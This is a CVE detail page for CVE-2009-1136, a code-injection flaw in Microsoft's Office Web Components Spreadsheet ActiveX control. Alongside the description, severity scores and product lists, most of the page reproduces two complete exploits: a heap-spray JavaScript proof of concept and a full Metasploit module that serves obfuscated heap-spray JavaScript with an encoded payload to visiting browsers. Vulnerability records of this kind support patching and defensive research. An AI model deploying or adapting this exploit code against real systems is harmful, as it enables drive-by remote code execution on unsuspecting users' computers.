CVE-2009-1136 : Detail

CVE-2009-1136

Code Injection
A03-Injection
96.27%V3
Network
2009-07-15
13h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Microsoft Office Web Components Spreadsheet ActiveX control (aka OWC10 or OWC11), as distributed in Office XP SP3 and Office 2003 SP3, Office XP Web Components SP3, Office 2003 Web Components SP3, Office 2003 Web Components SP1 for the 2007 Microsoft Office System, Internet Security and Acceleration (ISA) Server 2004 SP3 and 2006 Gold and SP1, and Office Small Business Accounting 2006, when used in Internet Explorer, allows remote attackers to execute arbitrary code via a crafted call to the msDataSourceObject method, as exploited in the wild in July and August 2009, aka "Office Web Components HTML Script Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9163

Publication date : 2009-07-15 22h00 +00:00
Author : anonymous
EDB Verified : Yes

<!-- http://en.securitylab.ru/poc/extra/382458.php --> <html> <body> <script language="JavaScript"> var shellcode = unescape("evil code"); var array = new Array(); var ls = 0x81000-(shellcode.length*2); var bigblock = unescape("%u0b0c%u0b0C"); while(bigblock.length<ls/2) {bigblock+=bigblock;} var lh = bigblock.substring(0,ls/2); delete bigblock; for(i=0;i<0x99*2;i++) { array[i] = lh + lh + shellcode; } CollectGarbage(); var obj = new ActiveXObject("OWC10.Spreadsheet"); e=new Array(); e.push(1); e.push(2); e.push(0); e.push(window); for(i=0;i<e.length;i++){ for(j=0;j<10;j++){ try{ obj.Evaluate(e[i]); } catch(e) {} } } window.status=e[3] +''; for(j=0;j<10;j++){ try{ obj.msDataSourceObject(e[3]); } catch(e) {} } </script> </body> </html> # milw0rm.com [2009-07-16]
Exploit Database EDB-ID : 16537

Publication date : 2010-07-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption', 'Description' => %q{ This module exploits a memory corruption vulnerability within versions 10 and 11 of the Office Web Component Spreadsheet ActiveX control. This module was based on an exploit found in the wild. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ], 'Version' => '$Revision: 9893 $', 'References' => [ [ 'CVE', '2009-1136' ], [ 'OSVDB', '55806' ], [ 'MSB', 'MS09-043' ], [ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ], [ 'URL', 'http://www.exploit-db.com/exploits/9163/' ], # broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c ], 'DisclosureDate' => 'Jul 13 2009', 'DefaultTarget' => 0)) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) # Send a redirect with the javascript encoding key #if (!request.uri.match(/\?\w+/)) # send_local_redirect(cli, "?#{@javascript_encode_key}") # return #end return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") shellcode = Rex::Text.to_unescape(p.encoded) retaddr = Rex::Text.to_unescape([target.ret].pack('V')) js = %Q| var xshellcode = unescape("#{shellcode}"); var xarray = new Array(); var xls = 0x81000-(xshellcode.length*2); var xbigblock = unescape("#{retaddr}"); while( xbigblock.length < xls / 2) { xbigblock += xbigblock; } var xlh = xbigblock.substring(0, xls / 2); delete xbigblock; for(xi=0; xi<0x99*2; xi++) { xarray[xi] = xlh + xlh + xshellcode; } CollectGarbage(); var xobj; try { xobj = new ActiveXObject("OWC10.Spreadsheet"); } catch(err) { try { xobj = new ActiveXObject("OWC11.Spreadsheet"); } catch(err) { } } xe = new Array(); xe.push(1); xe.push(2); xe.push(0); xe.push(window); for(xi=0; xi < xe.length; xi++){ for(xj=0; xj<10; xj++){ try { xobj.Evaluate(xe[xi]); } catch(e) { } } } window.status = xe[3] + ''; for(xj=0; xj<10; xj++){ try{ xobj.msDataSourceObject(xe[3]); } catch(e) { } } | # Obfuscate it up a bit js = obfuscate_js(js, 'Symbols' => { 'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err} } ).to_s # Encode the javascript payload with the URI key # js = encrypt_js(js, @javascript_encode_key) # Fire off the page to the client send_response(cli, "<html><script language='javascript'>#{js}</script></html>") # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Microsoft>>Isa_server >> Version 2004

    Microsoft>>Isa_server >> Version 2004

      Microsoft>>Isa_server >> Version 2006

        Microsoft>>Isa_server >> Version 2006

          Microsoft>>Isa_server >> Version 2006

            Microsoft>>Office >> Version 2003

              Microsoft>>Office >> Version 2003

              Microsoft>>Office_web_components >> Version 2003

                Microsoft>>Office_web_components >> Version 2003

                Microsoft>>Office_web_components >> Version xp

                  Microsoft>>Office_xp >> Version sp3

                    References

                    http://www.us-cert.gov/cas/techalerts/TA09-223A.html
                    Tags : third-party-advisory, x_refsource_CERT